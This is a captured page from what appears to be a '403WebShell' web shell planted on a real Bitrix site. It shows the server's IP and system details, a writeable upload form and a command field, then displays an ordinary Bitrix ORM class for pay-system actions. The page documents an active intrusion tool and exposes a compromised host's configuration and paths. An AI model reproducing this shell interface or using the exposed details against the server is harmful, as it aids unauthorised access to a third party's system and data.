%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 3.138.137.143
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/sale/lib/internals/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/sale/lib/internals/paysystemaction.php
<?php
/**
 * Bitrix Framework
 * @package bitrix
 * @subpackage sale
 * @copyright 2001-2012 Bitrix
 */
namespace Bitrix\Sale\Internals;

use Bitrix\Main\Application;
use Bitrix\Main\Entity\DeleteResult;
use Bitrix\Main\Entity\StringField;
use Bitrix\Main\Localization\Loc;
use Bitrix\Sale\PaySystem;

Loc::loadMessages(__FILE__);

/**
 * Class PaySystemActionTable
 *
 * DO NOT WRITE ANYTHING BELOW THIS
 *
 * <<< ORMENTITYANNOTATION
 * @method static EO_PaySystemAction_Query query()
 * @method static EO_PaySystemAction_Result getByPrimary($primary, array $parameters = array())
 * @method static EO_PaySystemAction_Result getById($id)
 * @method static EO_PaySystemAction_Result getList(array $parameters = array())
 * @method static EO_PaySystemAction_Entity getEntity()
 * @method static \Bitrix\Sale\Internals\EO_PaySystemAction createObject($setDefaultValues = true)
 * @method static \Bitrix\Sale\Internals\EO_PaySystemAction_Collection createCollection()
 * @method static \Bitrix\Sale\Internals\EO_PaySystemAction wakeUpObject($row)
 * @method static \Bitrix\Sale\Internals\EO_PaySystemAction_Collection wakeUpCollection($rows)
 */
class PaySystemActionTable extends \Bitrix\Main\Entity\DataManager
{
	public static function getTableName()
	{
		return 'b_sale_pay_system_action';
	}

	public static function getMap()
	{
		return array(
			'ID' => array(
				'data_type' => 'integer',
				'primary' => true,
				'autocomplete' => true,
			),
			'PAY_SYSTEM_ID' => array(
				'data_type' => 'integer'
			),
			'PERSON_TYPE_ID' => array(
				'data_type' => 'integer'
			),
			'NAME' => array(
				'data_type' => 'string'
			),
			'PSA_NAME' => array(
				'data_type' => 'string'
			),
			'CODE' => array(
				'data_type' => 'string'
			),
			'SORT' => array(
				'data_type' => 'integer'
			),
			'ACTION_FILE' => array(
				'data_type' => 'string'
			),
			'RESULT_FILE' => array(
				'data_type' => 'string'
			),
			'DESCRIPTION' => array(
				'data_type' => 'string'
			),
			'NEW_WINDOW' => array(
				'data_type' => 'boolean',
				'values' => array('N', 'Y')
			),
			'PARAMS' => array(
				'data_type' => 'string'
			),
			'TARIF' => array(
				'data_type' => 'string'
			),
			'PS_MODE' => array(
				'data_type' => 'string'
			),
			'HAVE_PAYMENT' => array(
				'data_type' => 'boolean',
				'values' => array('N', 'Y')
			),
			'HAVE_ACTION' => array(
				'data_type' => 'boolean',
				'values' => array('N', 'Y')
			),
			'HAVE_RESULT' => array(
				'data_type' => 'boolean',
				'values' => array('N', 'Y')
			),
			'HAVE_PREPAY' => array(
				'data_type' => 'boolean',
				'values' => array('N', 'Y')
			),
			'HAVE_PRICE' => array(
				'data_type' => 'boolean',
				'values' => array('N', 'Y')
			),
			'HAVE_RESULT_RECEIVE' => array(
				'data_type' => 'boolean',
				'values' => array('N', 'Y')
			),
			'ENCODING' => array(
				'data_type' => 'string'
			),
			'LOGOTIP' => array(
				'data_type' => 'integer'
			),
			'ACTIVE' => array(
				'data_type' => 'boolean',
				'values' => array('N', 'Y')
			),
			'ALLOW_EDIT_PAYMENT' => array(
				'data_type' => 'boolean',
				'values' => array('N', 'Y')
			),
			'IS_CASH' => array(
				'data_type' => 'string'
			),
			'AUTO_CHANGE_1C' => array(
				'data_type' => 'boolean',
				'values' => array('N', 'Y')
			),
			'CAN_PRINT_CHECK' => array(
				'data_type' => 'boolean',
				'values' => array('N', 'Y')
			),
			'ENTITY_REGISTRY_TYPE' => array(
				'data_type' => 'string',
			),
			'XML_ID' => array(
				'data_type' => 'string',
			),
		);
	}

	/**
	 * Deletes row in entity table by primary key
	 *
	 * @param mixed $primary
	 *
	 * @return DeleteResult
	 *
	 * @throws \Exception
	 */
	public static function delete($primary)
	{
		if ($primary == PaySystem\Manager::getInnerPaySystemId())
		{
			$cacheManager = Application::getInstance()->getManagedCache();
			$cacheManager->clean(PaySystem\Manager::CACHE_ID);
		}

		return parent::delete($primary);
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit